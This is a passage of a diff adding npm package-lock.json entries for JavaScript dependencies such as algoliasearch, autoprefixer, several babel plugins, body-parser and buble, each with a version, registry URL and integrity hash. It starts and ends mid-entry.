"sha512-IJF5b93b2MgAzcE/tuzW0yOPnuUyRgGAtaPv5UUywXM8kzqfdwZTO4sPJBzoGz1eOy6H9uEchsJsBFTELZSu+g==", + "dependencies": { + "@algolia/cache-browser-local-storage": "4.19.1", + "@algolia/cache-common": "4.19.1", + "@algolia/cache-in-memory": "4.19.1", + "@algolia/client-account": "4.19.1", + "@algolia/client-analytics": "4.19.1", + "@algolia/client-common": "4.19.1", + "@algolia/client-personalization": "4.19.1", + "@algolia/client-search": "4.19.1", + "@algolia/logger-common": "4.19.1", + "@algolia/logger-console": "4.19.1", + "@algolia/requester-browser-xhr": "4.19.1", + "@algolia/requester-common": "4.19.1", + "@algolia/requester-node-http": "4.19.1", + "@algolia/transporter": "4.19.1" + } + }, + "node_modules/algoliasearch-helper": { + "version": "3.14.0", + "resolved": "https://registry.npmjs.org/algoliasearch-helper/-/algoliasearch-helper-3.14.0.tgz", + "integrity": "sha512-gXDXzsSS0YANn5dHr71CUXOo84cN4azhHKUbg71vAWnH+1JBiR4jf7to3t3JHXknXkbV0F7f055vUSBKrltHLQ==", + "dependencies": { + "@algolia/events": "^4.0.1" + }, + "peerDependencies": { + "algoliasearch": ">= 3.1 < 6" + } + }, + "node_modules/ansi-align": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/ansi-align/-/ansi-align-3.0.1.tgz", + "integrity": "sha512-IOfwwBF5iczOjp/WeY4YxyjqAFMQoZufdQWDd19SEExbVLNXqvpzSJ/M7Za4/sCPmQ0+GRquoA7bGcINcxew6w==", + "dependencies": { + "string-width": "^4.1.0" + } + }, + "node_modules/ansi-align/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" + }, + "node_modules/ansi-align/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-html-community": { + "version": "0.0.8", + "resolved": "https://registry.npmjs.org/ansi-html-community/-/ansi-html-community-0.0.8.tgz", + "integrity": "sha512-1APHAyr3+PCamwNw3bXCPp4HFLONZt/yIH0sZp0/469KWNTEy+qN5jQ3GVX6DMZ1UXAi34yVwtTeaG/HpBuuzw==", + "engines": [ + "node >= 0.8.0" + ], + "bin": { + "ansi-html": "bin/ansi-html" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/arg": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz", + "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==" + }, + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==" + }, + "node_modules/array-buffer-byte-length": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.0.tgz", + "integrity": "sha512-LPuwb2P+NrQw3XhxGc36+XSvuBPopovXYTR9Ew++Du9Yb/bx5AzBfrIsBoj0EZUifjQU+sHL21sseZ3jerWO/A==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "is-array-buffer": "^3.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array-flatten": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-2.1.2.tgz", + "integrity": "sha512-hNfzcOV8W4NdualtqBFPyVO+54DSJuZGY9qT4pRroB6S9e3iiido2ISIC5h9R2sPJ8H3FHCIiEnsv1lPXO3KtQ==" + }, + "node_modules/array-includes": { + "version": "3.1.6", + "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.6.tgz", + "integrity": "sha512-sgTbLvL6cNnw24FnbaDyjmvddQ2ML8arZsgaJhoABMoplz/4QRhtrYS+alr1BUM1Bwp6dhx8vVCBSLG+StwOFw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4", + "get-intrinsic": "^1.1.3", + "is-string": "^1.0.7" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array-union": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", + "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", + "engines": { + "node": ">=8" + } + }, + "node_modules/array.prototype.flat": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.3.1.tgz", + "integrity": "sha512-roTU0KWIOmJ4DRLmwKd19Otg0/mT3qPNt0Qb3GWW8iObuZXxrjB/pzn0R3hqpRSWg4HCwqx+0vwOnWnvlOyeIA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4", + "es-shim-unscopables": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.flatmap": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.1.tgz", + "integrity": "sha512-8UGn9O1FDVvMNB0UlLv4voxRMze7+FpHyF5mSMRjWHUMlpoDViniy05870VlxhfgTnLbpuwTzvD76MTtWxB/mQ==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4", + "es-shim-unscopables": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.tosorted": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/array.prototype.tosorted/-/array.prototype.tosorted-1.1.1.tgz", + "integrity": "sha512-pZYPXPRl2PqWcsUs6LOMn+1f1532nEoPTYowBtqLwAW+W8vSVhkIGnmOX1t/UQjD6YGI0vcD2B1U7ZFGQH9jnQ==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4", + "es-shim-unscopables": "^1.0.0", + "get-intrinsic": "^1.1.3" + } + }, + "node_modules/arraybuffer.prototype.slice": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.1.tgz", + "integrity": "sha512-09x0ZWFEjj4WD8PDbykUwo3t9arLn8NIzmmYEJFpYekOAQjpkGSyrQhNoRTcwwcFRu+ycWF78QZ63oWTqSjBcw==", + "dev": true, + "dependencies": { + "array-buffer-byte-length": "^1.0.0", + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "get-intrinsic": "^1.2.1", + "is-array-buffer": "^3.0.2", + "is-shared-array-buffer": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/asap": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", + "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==" + }, + "node_modules/asynciterator.prototype": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/asynciterator.prototype/-/asynciterator.prototype-1.0.0.tgz", + "integrity": "sha512-wwHYEIS0Q80f5mosx3L/dfG5t5rjEa9Ft51GTaNt862EnpyGHpgz2RkZvLPp1oF5TnAiTohkEKVEu8pQPJI7Vg==", + "dev": true, + "dependencies": { + "has-symbols": "^1.0.3" + } + }, + "node_modules/at-least-node": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/at-least-node/-/at-least-node-1.0.0.tgz", + "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==", + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/autoprefixer": { + "version": "10.4.15", + "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.15.tgz", + "integrity": "sha512-KCuPB8ZCIqFdA4HwKXsvz7j6gvSDNhDP7WnUjBleRkKjPdvCmHFuQ77ocavI8FT6NdvlBnE2UFr2H4Mycn8Vew==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/autoprefixer" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "browserslist": "^4.21.10", + "caniuse-lite": "^1.0.30001520", + "fraction.js": "^4.2.0", + "normalize-range": "^0.1.2", + "picocolors": "^1.0.0", + "postcss-value-parser": "^4.2.0" + }, + "bin": { + "autoprefixer": "bin/autoprefixer" + }, + "engines": { + "node": "^10 || ^12 || >=14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/available-typed-arrays": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.5.tgz", + "integrity": "sha512-DMD0KiN46eipeziST1LPP/STfDU0sufISXmjSgvVsoU2tqxctQeASejWcfNtxYKqETM1UxQ8sp2OrSBWpHY6sw==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/axios": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/axios/-/axios-0.25.0.tgz", + "integrity": "sha512-cD8FOb0tRH3uuEe6+evtAbgJtfxr7ly3fQjYcMcuPlgkwVS9xboaVIpcDV+cYQe+yGykgwZCs1pzjntcGa6l5g==", + "dependencies": { + "follow-redirects": "^1.14.7" + } + }, + "node_modules/babel-loader": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-8.3.0.tgz", + "integrity": "sha512-H8SvsMF+m9t15HNLMipppzkC+Y2Yq+v3SonZyU70RBL/h1gxPkH08Ot8pEE9Z4Kd+czyWJClmFS8qzIP9OZ04Q==", + "dependencies": { + "find-cache-dir": "^3.3.1", + "loader-utils": "^2.0.0", + "make-dir": "^3.1.0", + "schema-utils": "^2.6.5" + }, + "engines": { + "node": ">= 8.9" + }, + "peerDependencies": { + "@babel/core": "^7.0.0", + "webpack": ">=2" + } + }, + "node_modules/babel-plugin-apply-mdx-type-prop": { + "version": "1.6.22", + "resolved": "https://registry.npmjs.org/babel-plugin-apply-mdx-type-prop/-/babel-plugin-apply-mdx-type-prop-1.6.22.tgz", + "integrity": "sha512-VefL+8o+F/DfK24lPZMtJctrCVOfgbqLAGZSkxwhazQv4VxPg3Za/i40fu22KR2m8eEda+IfSOlPLUSIiLcnCQ==", + "dependencies": { + "@babel/helper-plugin-utils": "7.10.4", + "@mdx-js/util": "1.6.22" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + }, + "peerDependencies": { + "@babel/core": "^7.11.6" + } + }, + "node_modules/babel-plugin-apply-mdx-type-prop/node_modules/@babel/helper-plugin-utils": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.10.4.tgz", + "integrity": "sha512-O4KCvQA6lLiMU9l2eawBPMf1xPP8xPfB3iEQw150hOVTqj/rfXz0ThTb4HEzqQfs2Bmo5Ay8BzxfzVtBrr9dVg==" + }, + "node_modules/babel-plugin-dynamic-import-node": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/babel-plugin-dynamic-import-node/-/babel-plugin-dynamic-import-node-2.3.3.tgz", + "integrity": "sha512-jZVI+s9Zg3IqA/kdi0i6UDCybUI3aSBLnglhYbSSjKlV7yF1F/5LWv8MakQmvYpnbJDS6fcBL2KzHSxNCMtWSQ==", + "dependencies": { + "object.assign": "^4.1.0" + } + }, + "node_modules/babel-plugin-extract-import-names": { + "version": "1.6.22", + "resolved": "https://registry.npmjs.org/babel-plugin-extract-import-names/-/babel-plugin-extract-import-names-1.6.22.tgz", + "integrity": "sha512-yJ9BsJaISua7d8zNT7oRG1ZLBJCIdZ4PZqmH8qa9N5AK01ifk3fnkc98AXhtzE7UkfCsEumvoQWgoYLhOnJ7jQ==", + "dependencies": { + "@babel/helper-plugin-utils": "7.10.4" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/babel-plugin-extract-import-names/node_modules/@babel/helper-plugin-utils": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.10.4.tgz", + "integrity": "sha512-O4KCvQA6lLiMU9l2eawBPMf1xPP8xPfB3iEQw150hOVTqj/rfXz0ThTb4HEzqQfs2Bmo5Ay8BzxfzVtBrr9dVg==" + }, + "node_modules/babel-plugin-polyfill-corejs2": { + "version": "0.4.5", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.4.5.tgz", + "integrity": "sha512-19hwUH5FKl49JEsvyTcoHakh6BE0wgXLLptIyKZ3PijHc/Ci521wygORCUCCred+E/twuqRyAkE02BAWPmsHOg==", + "dependencies": { + "@babel/compat-data": "^7.22.6", + "@babel/helper-define-polyfill-provider": "^0.4.2", + "semver": "^6.3.1" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/babel-plugin-polyfill-corejs2/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/babel-plugin-polyfill-corejs3": { + "version": "0.8.3", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.8.3.tgz", + "integrity": "sha512-z41XaniZL26WLrvjy7soabMXrfPWARN25PZoriDEiLMxAp50AUW3t35BGQUMg5xK3UrpVTtagIDklxYa+MhiNA==", + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.4.2", + "core-js-compat": "^3.31.0" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/babel-plugin-polyfill-regenerator": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.5.2.tgz", + "integrity": "sha512-tAlOptU0Xj34V1Y2PNTL4Y0FOJMDB6bZmoW39FeCQIhigGLkqu3Fj6uiXpxIf6Ij274ENdYx64y6Au+ZKlb1IA==", + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.4.2" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/bail": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/bail/-/bail-1.0.5.tgz", + "integrity": "sha512-xFbRxM1tahm08yHBP16MMjVUAvDaBMD38zsM9EMAUN61omwLmKlOpB/Zku5QkjZ8TZ4vn53pj+t518cH0S03RQ==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==" + }, + "node_modules/base16": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/base16/-/base16-1.0.0.tgz", + "integrity": "sha512-pNdYkNPiJUnEhnfXV56+sQy8+AaPcG3POZAUnwr4EeqCUZFz4u2PePbo3e5Gj4ziYPCWGUZT9RHisvJKnwFuBQ==" + }, + "node_modules/batch": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/batch/-/batch-0.6.1.tgz", + "integrity": "sha512-x+VAiMRL6UPkx+kudNvxTl6hB2XNNCG2r+7wixVfIYwu/2HKRXimwQyaumLjMveWvT2Hkd/cAJw+QBMfJ/EKVw==" + }, + "node_modules/big.js": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", + "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==", + "engines": { + "node": "*" + } + }, + "node_modules/binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "engines": { + "node": ">=8" + } + }, + "node_modules/body-parser": { + "version": "1.20.1", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.1.tgz", + "integrity": "sha512-jWi7abTbYwajOytWCQc37VulmWiRae5RyTpaCyDcS5/lMdtwSz5lOpDE67srw/HYe35f1z3fDQw+3txg7gNtWw==", + "dependencies": { + "bytes": "3.1.2", + "content-type": "~1.0.4", + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "on-finished": "2.4.1", + "qs": "6.11.0", + "raw-body": "2.5.1", + "type-is": "~1.6.18", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/body-parser/node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/body-parser/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/body-parser/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/bonjour-service": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/bonjour-service/-/bonjour-service-1.1.1.tgz", + "integrity": "sha512-Z/5lQRMOG9k7W+FkeGTNjh7htqn/2LMnfOvBZ8pynNZCM9MwkQkI3zeI4oz09uWdcgmgHugVvBqxGg4VQJ5PCg==", + "dependencies": { + "array-flatten": "^2.1.2", + "dns-equal": "^1.0.0", + "fast-deep-equal": "^3.1.3", + "multicast-dns": "^7.2.5" + } + }, + "node_modules/boolbase": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", + "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==" + }, + "node_modules/boxen": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/boxen/-/boxen-6.2.1.tgz", + "integrity": "sha512-H4PEsJXfFI/Pt8sjDWbHlQPx4zL/bvSQjcilJmaulGt5mLDorHOHpmdXAJcBcmru7PhYSp/cDMWRko4ZUMFkSw==", + "dependencies": { + "ansi-align": "^3.0.1", + "camelcase": "^6.2.0", + "chalk": "^4.1.2", + "cli-boxes": "^3.0.0", + "string-width": "^5.0.1", + "type-fest": "^2.5.0", + "widest-line": "^4.0.1", + "wrap-ansi": "^8.0.1" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dependencies": { + "fill-range": "^7.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browserslist": { + "version": "4.21.10", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.10.tgz", + "integrity": "sha512-bipEBdZfVH5/pwrvqc+Ub0kUPVfGUhlKxbvfD+z1BDnPEO/X98ruXGA1WP5ASpAFKan7Qr6j736IacbZQuAlKQ==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "caniuse-lite": "^1.0.30001517", + "electron-to-chromium": "^1.4.477", + "node-releases": "^2.0.13", + "update-browserslist-db": "^1.0.11" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/buble": { + "version": "0.19.6", + "resolved": "https://registry.npmjs.org/buble/-/buble-0.19.6.tgz", + "integrity": "sha512-9kViM6nJA1Q548Jrd06x0geh+BG2ru2+RMDkIHHgJY/8AcyCs34lTHwra9BX7YdPrZXd5aarkpr/SY8bmPgPdg==", + "dependencies": { + "chalk": "^2.4.1", + "magic-string": "^0.25.1", + "minimist": "^1.2.0", + "os-homedir": "^1.0.1", + "regexpu-core": "^4.2.0", + "vlq": "^1.0.0" + }, + "bin": { + "buble": "bin/buble" + } + }, + "node_modules/buble/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/buble/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/buble/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/buble/node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==" + }, + "node_modules/buble/node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/buble/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "engines": { + "node": ">=4" + } + }, + "node_modules/buble/node_modules/jsesc": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz", + "integrity": "sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA==", + "bin": { + "jsesc": "bin/jsesc" + } + }, + "node_modules/buble/node_modules/regenerate-unicode-properties": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-9.0.0.tgz", + "integrity": "sha512-3E12UeNSPfjrgwjkR81m5J7Aw/T55Tu7nUyZVQYCKEOs+2dkxEY+DpPtZzO4YruuiPb7NkYLVcyJC4+zCbk5pA==", + "dependencies": { + "regenerate": "^1.4.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/buble/node_modules/regexpu-core": { + "version": "4.8.0", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-4.8.0.tgz", + "integrity": "sha512-1F6bYsoYiz6is+oz70NWur2Vlh9KWtswuRuzJOfeYUrfPX2o8n74AnUVaOGDbUqVGO9fNHu48/pjJO4sNVwsOg==", + "dependencies": { + "regenerate": "^1.4.2", + "regenerate-unicode-properties": "^9.0.0", + "regjsgen": "^0.5.2", + "regjsparser": "^0.7.0", + "unicode-match-property-ecmascript": "^2.0.0", + "unicode-match-property-value-ecmascript": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/buble/node_modules/regjsparser": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.7.0.tgz", + "integrity": "sha512-A4pcaORqmNMDVwUjWoTzuhwMGpP+NykpfqAsEgI1FSH/EzC7lrN5TMd+kN8YCovX+jMpu8eaqXgXPCa0g8FQNQ==", + "dependencies": { + "jsesc": "~0.5.0" + }, + "bin": { + "regjsparser": "bin/parser" + } + }, + "node_modules/buble/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/buffer-from": { + "version": "1.1.2", + "resolved": 